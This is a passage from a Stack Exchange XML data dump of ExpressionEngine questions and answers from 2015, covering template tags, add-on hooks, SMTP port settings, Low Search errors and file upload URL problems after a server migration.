CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28784" PostTypeId="1" AcceptedAnswerId="28891" CreationDate="2015-02-02T18:10:22.523" Score="0" ViewCount="91" Body="&lt;p&gt;I have a tree like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;About Us&#xA; - Alpha&#xA; - Beta&#xA; - Delta&#xA;  * Three Sub 1&#xA;  * Three Sub 2&#xA;Careers&#xA;  - Full time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the current page is 'Beta', since 'Beta' does not have any child entries &lt;em&gt;and&lt;/em&gt; is at the second level of navigation, I want to hide my navigation breadcrumbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the breadcrumbs displaying fine, but how would I use a condition to check that a node is both at a certain level, and also has no children?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-02-07T02:42:55.967" Title="Conditional subnav display with Taxonomy" Tags="|navigation|taxonomy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28785" PostTypeId="2" ParentId="28775" CreationDate="2015-02-02T18:46:48.000" Score="1" Body="&lt;p&gt;All you need to do is &quot;disable&quot; the Editor Extension. That is the only thing the extension does!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-02T18:46:48.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28786" PostTypeId="2" ParentId="26031" CreationDate="2015-02-02T19:51:54.847" Score="0" Body="&lt;p&gt;You can either use 'pupe PHP' approach, as described &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6156/how-can-i-redirect-a-homepage-depending-on-the-browser-language-settings&quot;&gt;in this EE SE thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can use &lt;a href=&quot;https://devot-ee.com/add-ons/browser-sniff&quot; rel=&quot;nofollow noreferrer&quot;&gt;Browser Sniff&lt;/a&gt; add-on.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-02-02T19:51:54.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28787" PostTypeId="2" ParentId="28777" CreationDate="2015-02-02T20:10:50.110" Score="2" Body="&lt;p&gt;I have often used &lt;code&gt;store_order_item_add_end&lt;/code&gt; to modify product attributes. &lt;code&gt;$item&lt;/code&gt; is an object, and pass by reference does indeed work in this context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this code in your extension should change every item's price to $20:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;price = '20.00';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have several sites doing this for items which I have javascript-driven price configurations for, and for which I want to confirm server-side to protect from being artificially modified in the browser.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-02T20:10:50.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28788" PostTypeId="1" AcceptedAnswerId="28793" CreationDate="2015-02-02T20:24:06.083" Score="0" ViewCount="36" Body="&lt;p&gt;DevDemon's Campaigns module has a section within its Settings for URL Shorteners. When you try to set up a service, however, you get the message seen in the following screenshot.  Anyone know when this functionality will go live?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xpfCj.png&quot; alt=&quot;Screenshot: Coming Soon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5007" LastActivityDate="2015-02-03T01:14:34.413" Title="When will DevDemon's Campaigns module &quot;URL Shortener&quot; integration be ready?" Tags="|devdemon|" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-03T01:45:05.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="28789" PostTypeId="1" AcceptedAnswerId="28794" CreationDate="2015-02-02T20:28:45.933" Score="2" ViewCount="190" Body="&lt;p&gt;How do I add a value to the {count} variable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='links' orderby='link_order' sort='asc' dynamic='no'  category='12'}&#xA;&amp;lt;div class=&quot;item&quot; id=&quot;pane-{count+15}&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;!-- stuff here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want the HTML to come out like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item&quot; id=&quot;pane-16&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;!-- stuff here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;item&quot; id=&quot;pane-17&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;!-- stuff here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;item&quot; id=&quot;pane-18&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;!-- stuff here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-02-03T05:59:46.190" Title="Adding value to {count}" Tags="|channel-entries|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28791" PostTypeId="2" ParentId="28778" CreationDate="2015-02-02T21:28:54.707" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;Yes&lt;/a&gt;. The rest of this answer is to meet the minimum 30 character requirement. ;)&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-02-02T21:28:54.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28792" PostTypeId="1" AcceptedAnswerId="28797" CreationDate="2015-02-02T23:37:25.753" Score="1" ViewCount="59" Body="&lt;p&gt;I'm in the process of building my 1st extension (oi!) and I need to find a hook that allows me to fire off a routine when a member visits a single entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have listing pages and single view pages - I only need the routine to fire when viewing single entry pages NOT listing pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of hooks is extensive but I cannot seem to find one that fits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The broad picture is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an extension that relies on hooks to update the DB when ever a member adds a reply or adds a new entry. It gets a list of active users in the last 2 weeks, adds their member_id to Solspace 'Favorites' table in the DB in a separate collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working as expected as I can call the 'fav' module to mark entries on a list view page as 'unread'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I now need to do is when a user visits an entry, remove their member_id from the 'fav' table/collection. Someone adds a new comment/entry, it re-adds their member_id and marks the entry as 'unread' once again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the best approach is to make a module that I can call in the template code within the entry template to remove the user from the 'fav' DB table.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2015-02-03T01:52:20.343" LastActivityDate="2015-02-04T10:15:02.580" Title="Hook for when viewing single entry" Tags="|module|extension|custom|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28793" PostTypeId="2" ParentId="28788" CreationDate="2015-02-03T01:14:34.413" Score="0" Body="&lt;p&gt;Questions like this are best submitted directly to the developer since they will be the best party to provide an answer for you. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-02-03T01:14:34.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28794" PostTypeId="2" ParentId="28789" CreationDate="2015-02-03T05:59:46.190" Score="4" Body="&lt;p&gt;By default, EE is support calculations in conditions only. For other cases you can use &lt;a href=&quot;https://github.com/MaxLazar/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='links' orderby='link_order' sort='asc' dynamic='no'  category='12' parse=&quot;inward&quot;}&#xA;&amp;lt;div class=&quot;item&quot; id=&quot;pane-{exp:mx_calc expression='{count}+15'}&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;!-- stuff here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-02-03T05:59:46.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28795" PostTypeId="2" ParentId="21678" CreationDate="2015-02-03T05:59:56.230" Score="0" Body="&lt;p&gt;you cannot send the file directly to the form's action method like what you are doing there. The reason for this is that the jQuery fileuploader will only send the file, and chunked as well, so EE will not get title etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you need to create an addon with its own action method where you handle the upload and then return some kind of ID which you can use to identify the file later. This you store in a hidden post variable. Then you need to hook onto e.g. &quot;channel_form_submit_entry_start&quot; and process the file and store it in the format you need (e.g. File or Assets) on submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's an elaborate process ;-)&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-02-03T05:59:56.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28797" PostTypeId="2" ParentId="28792" CreationDate="2015-02-03T09:19:07.347" Score="3" Body="&lt;p&gt;Crelate a plugin containing single function, say, function_name.&#xA;The plugin will accept member_id of logged in visitor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata('member_id') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and ID of entry being viewed, passed as parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;fetch_param('entry_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this function, if member_id is not 0 (i.e. member is logged in), perform a check against your database table and if necessary, perform an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Since there is DB interaction, someone might say you should create module, but since this is your first EE add-on and it has no settings, keep the things simple).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your single entry template, inside channel entries tag, call the plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:plugin_name:function_name entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-03T09:19:07.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28798" PostTypeId="2" ParentId="28740" CreationDate="2015-02-03T09:31:12.813" Score="0" Body="&lt;p&gt;You may also consider building invitations-based system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/invitations&quot; rel=&quot;nofollow&quot;&gt;Invitations add-on for ExpressionEngine&lt;/a&gt; will allow site visitors request invitations; and new signups will only be accepted from people who have valid invitation code.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-03T09:31:12.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28799" PostTypeId="2" ParentId="26030" CreationDate="2015-02-03T11:07:12.340" Score="1" Body="&lt;p&gt;Did you actually mean this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} range.php?type=baropt&amp;amp;item=01 [NC]&#xA;RewriteRule ^(.*)$ http://domain.com/range/bars/led-bar? [R=301,L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should use RewriteCond, not RewriteRule is first line, as it'a conditional that applies to the rule, the rule itself is in second line. Also replace &amp;amp;amp ; with simple ampersand (unless you really have &amp;amp;amp ; in URL)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-03T11:07:12.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28801" PostTypeId="1" CreationDate="2015-02-03T12:44:02.873" Score="4" ViewCount="104" Body="&lt;p&gt;I am afraid that this is rocketscience for me, I do not understand the principle. I must show related entrees, and their related entrees, and their etcetera. In a grid, like a &lt;a href=&quot;http://en.wikipedia.org/wiki/Pedigree_chart&quot; rel=&quot;nofollow&quot;&gt;pedigree chart&lt;/a&gt;&#xA;Let me explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is about horses, and bloodlines.&#xA;Two channels, horses_father and horses_ mother, with horses_fieldgroup containing two Playa fields: 1)rel_hors_mother and 2)rel_hors_father. When creating a new horse entry the editor can relate to father and mother. I can show these relations in the HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I do not know how to relate (in principle) infinitive levels deep. Let say we have horse X-1 with father X and mother Y. I can easy show father and mother of X-1, but I must also show the father of X, the mother of X, the father of Y, mother of Y AND their parents as well. I do not know how many levels deep they want it, but the system should not be limited to amount of levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Playa? Or is it better to look for other solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking at this.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2015-02-03T13:56:54.797" LastActivityDate="2016-05-22T22:35:15.927" Title="Showing parents of parents of parents, using Playa to build a pedigree chart" Tags="|playa|stash|relationships|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28802" PostTypeId="1" AcceptedAnswerId="28804" CreationDate="2015-02-03T13:44:18.860" Score="1" ViewCount="539" Body="&lt;p&gt;I am having an issue with my provider/hoster and I am looking for some advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We send Freeform forms with SMTP with this config. Looks like many others do the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol']    = 'smtp';&#xA; $config['smtp_server']      = 'tls://smtp.gmail.com:465';   &#xA; $config['smtp_username']    = 'mail@xxx.xx';&#xA; $config['smtp_password']    = 'xxxxx';&#xA; $config['email_newline']    = &quot;\r\n&quot;;&#xA; $config['email_crlf']       = &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sending goes on port 465 but Google recommends port 587. And port 587 is what our hoster wants us to send on. But EE can not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our hoster opened port 465 for us. When they do server updates the port gets closed again and we don't get any forms untill we realize and ask to get the port open again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we use port 587 we get this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: fsockopen(): SSL operation failed with code 1. OpenSSL&#xA;Error messages: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong&#xA;version number&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leads to the question: does EE  try to do someting like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl s_client -tls -crlf -connect smtp.gmail.com:587&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl s_client -ssl3 -crlf -connect smtp.gmail.com:587&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of what our hoster finds to be the right way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl s_client -starttls smtp -crlf -connect smtp.gmail.com:587&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;He gave us this link for a reading&#xA;&lt;a href=&quot;http://blog.mailgun.com/25-465-587-what-port-should-i-use/&quot; rel=&quot;nofollow&quot;&gt;http://blog.mailgun.com/25-465-587-what-port-should-i-use/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just do understand a little of these thing and wonder if my hoster is right in saying EE has to send SMTP mails different than it does at the moment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is our hoster not flexible enough? I know people on hosters that have no issues sending over port 465 all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate some feedback on this.&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2015-02-03T15:49:08.197" Title="Which port for SMTP Mails" Tags="|email|smtp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28804" PostTypeId="2" ParentId="28802" CreationDate="2015-02-03T15:49:08.197" Score="1" Body="&lt;p&gt;The SMTP port is set in your Admin &gt; Email Configuration. TLS is specified with the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#email-smtp-crypto&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;email_smtp_crypto&lt;/code&gt; system configuration override&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['email_smtp_crypto'] = 'tls';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With both of those in place, removing the protocol and the port from your server string should allow you to send via SMTP with those settings.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-02-03T15:49:08.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28806" PostTypeId="1" AcceptedAnswerId="28807" CreationDate="2015-02-03T17:58:25.763" Score="0" ViewCount="38" Body="&lt;p&gt;We've just updated a site to use LS3.5.1 from 3.3.2 and I'm getting the following errors. EE is 2.9.0 - an upgrade is an option as the site is brand new.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&lt;p&gt;Message: Undefined index: 7&lt;/p&gt;&#xA;&lt;p&gt;Filename: keywords/lsf.keywords.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 869&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;We're using Structure, so for the link to the page we want to use &lt;code&gt;{page_uri}&lt;/code&gt;. The results are all working as expected - we're just getting these errors.&lt;/p&gt;&#xA;&lt;p&gt;I've been into each collection and added the language option. I've re-indexed the collections and switching &lt;code&gt;{page_uri}&lt;/code&gt; for &lt;code&gt;{auto_path}&lt;/code&gt; removes the error notices.&lt;/p&gt;&#xA;&lt;p&gt;I've also deleted the module entirely and re-uploaded to make sure we're not missing anything in the filters folder which I've seen could be an issue.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-02-03T18:10:02.550" Title="Low Search Errors on upgrade to 3.5.1" Tags="|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28807" PostTypeId="2" ParentId="28806" CreationDate="2015-02-03T18:10:02.550" Score="1" Body="&lt;p&gt;I'll get the error fixed in the next version. For now, open up /low_search/filters/keywords/lsf.keywords.php and look up line #869, which reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$row['auto_path'] = $this-&amp;gt;_urls[$row['channel_id']] . $row['url_title'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change that to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$row['auto_path'] = @$this-&amp;gt;_urls[$row['channel_id']] . $row['url_title'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;@&lt;/code&gt; added before &lt;code&gt;$this-&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-03T18:10:02.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28808" PostTypeId="2" ParentId="28727" CreationDate="2015-02-03T19:10:50.890" Score="0" Body="&lt;p&gt;You have this tag fields displayed 2 times: one time inside &lt;em&gt;{custom_fields}&lt;/em&gt; pair and another one when you call it by name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may filter the first one by changing &lt;em&gt;{if textarea}&lt;/em&gt; to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{if textarea AND field_name != &quot;9_language&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-03T19:10:50.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28809" PostTypeId="1" CreationDate="2015-02-03T20:32:26.150" Score="0" ViewCount="60" Body="&lt;p&gt;Just wondering if anyone has any ideas or has seen this happen before. I have a site running 1.6.8 (I know very very old now) and it has been running fine for a long time now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site has had to be moved to a new server as it (the server) has been massively slowing down as of late and so the host moved everything across to the new server for us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon doing so there is no dynamic data being output to the main site. All template data is being spat out so ExpressionEngine is definitely doing most of its thing and also the admin section is absolutely fine and shows all that it should and works fine it's just that on the main site pages nothing dynamic shows at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The caches have been completely deleted by deleting the cache folder from the admin folder but still no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is now running a later version of PHP 5.4.37 and I know that EE 1.6.8 isn't supported that far up but I know that people are running 1.6.8 on versions of PHP even higher than that so was just wondering if anyone knows of anything simple that this might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps some PHP config variable or something or another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with this would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2015-02-03T20:32:26.150" Title="Backend fine - No dynamic data output to site…" Tags="|dynamic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28810" PostTypeId="2" ParentId="28375" CreationDate="2015-02-03T20:42:57.233" Score="0" Body="&lt;p&gt;If you're looking to display details about form submissions on the front end, you can do it by using the &lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/&quot; rel=&quot;nofollow&quot;&gt;Freeform:Entries&lt;/a&gt; template tag, and just make sure you're calling the entry_id parameter and providing a value to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;    form_id=&quot;1&quot;&#xA;    entry_id=&quot;{segment_3}&quot;&#xA;}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        Submitted:&#xA;        {freeform:entry_date format=&quot;%F %j, %Y at %g:%i %a&quot;}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;&#xA;        By: {freeform:field:name}&#xA;    &amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Email Address: {freeform:field:email}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Home Phone: {freeform:field:home_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;    {if freeform:field:cell_phone}&#xA;        &amp;lt;p&amp;gt;Cell Phone: {freeform:field:cell_phone}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;p&amp;gt;Subject: {freeform:field:subject}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Questions or Comments:&amp;lt;br /&amp;gt;{freeform:field:question}&amp;lt;/p&amp;gt;&#xA;&#xA;    {if freeform:no_results}&#xA;        &amp;lt;p&amp;gt;No results found.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If if I understand you correctly, if you're trying to display the actual values inside an actual form, you could dummy up form fields to hold those values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly, seeing that you're using Composer, if you're looking for a way to have Freeform auto-populate everything by itself, you could use the &lt;a href=&quot;http://www.solspace.com/docs/freeform/composer_edit/&quot; rel=&quot;nofollow&quot;&gt;Freeform:Composer_Edit&lt;/a&gt; template tag (and just don't bother editing), and that would save you the work of recreating the form on the front end. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-03T20:42:57.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28811" PostTypeId="1" CreationDate="2015-02-03T20:49:11.377" Score="-1" ViewCount="28" Body="&lt;p&gt;I'm beginner of web programming.&#xA;Unfortunately, I take the job which modify the webpage. But I'm not familiar in Expression engine, and I'm very afraid about occur something problem. So I want to make copy of the webpage which i can learn to use Expression engine for practice.&#xA;Is it possible? and if it is possible, please tell me how.&lt;/p&gt;&#xA;" OwnerUserId="5010" LastActivityDate="2015-02-03T22:35:19.870" Title="I want to get my duplicate webpage data" Tags="|duplicate|mx-cloner|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28812" PostTypeId="1" CreationDate="2015-02-03T22:33:43.760" Score="0" ViewCount="22" Body="&lt;p&gt;I need to order the files alphabetically by file name. How do I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;orderby&quot; parameter docs are incomplete for Dev Demon's Channel Files.&#xA;Both Channel Files and Channel Images docs are also blank after... &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The “order” parameter sets the display order of the images. Setting&#xA;  options for this parameter include:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in the Parameters section of the docs. It just ends there after the colon.&lt;/p&gt;&#xA;" OwnerUserId="669" LastActivityDate="2016-06-14T14:37:28.457" Title="How do I order file list in Dev Demon's Channel Files alpha by filename?" Tags="|devdemon|channel-files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28813" PostTypeId="2" ParentId="28811" CreationDate="2015-02-03T22:35:19.870" Score="1" Body="&lt;p&gt;What you can do is make a duplicate of a template. To do that go to your Template Manager (under Design &gt; Templates), find an appropriate Template Group and click on the &quot;Create a New Template&quot; button. From there you can choose to &quot;Duplicate an Existing Template&quot; from a drop-down of templates already on the system. Hit &quot;Create and Edit&quot; to mess around with your new duplicate template. Any changes you make to your new template will not affect the one you duplicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're working on a live site I would name the duplicate template something out of the ordinary so that a user doesn't accidentally stumble upon your work environment. Also, be sure to delete the template once you've copied any final changes you want to make!&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-02-03T22:35:19.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28814" PostTypeId="2" ParentId="28812" CreationDate="2015-02-03T22:39:36.090" Score="0" Body="&lt;p&gt;I would suggest using &lt;code&gt;orderby=&quot;title&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-02-03T22:39:36.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28815" PostTypeId="1" AcceptedAnswerId="28819" CreationDate="2015-02-03T23:08:08.307" Score="1" ViewCount="121" Body="&lt;p&gt;I'm using the FocusLab Master Config set up which may be relevant. I haven't had any issues previously like this however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the middle of migrating from Dev to a new live server and 90% of images on the site are not displaying due to incorrect urls being output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;//chrootuploads/slider/bagtoearth-reroof.jpg&quot; width=&quot;1090&quot; height=&quot;435&quot; alt=&quot;&quot; draggable=&quot;false&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/uploads/slider/bagtoearth-reroof.jpg&quot; width=&quot;1090&quot; height=&quot;435&quot; alt=&quot;&quot; draggable=&quot;false&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check the file upload settings in the CP the path and url are correct, but on the front end the url is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out why /uploads is being replaced by //chrootuploads Of the five slides only one is being output correctly and resized with CE_image. Eveything else is doing this weird behavior and only on the live server (php 5.3.24).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also interestingly random pages do not load - not even the 404 page, just a blank white screen&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-02-03T23:27:01.940" LastActivityDate="2015-02-04T13:35:17.167" Title="File Upload urls have //chroot added to the url" Tags="|file-uploads|image|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
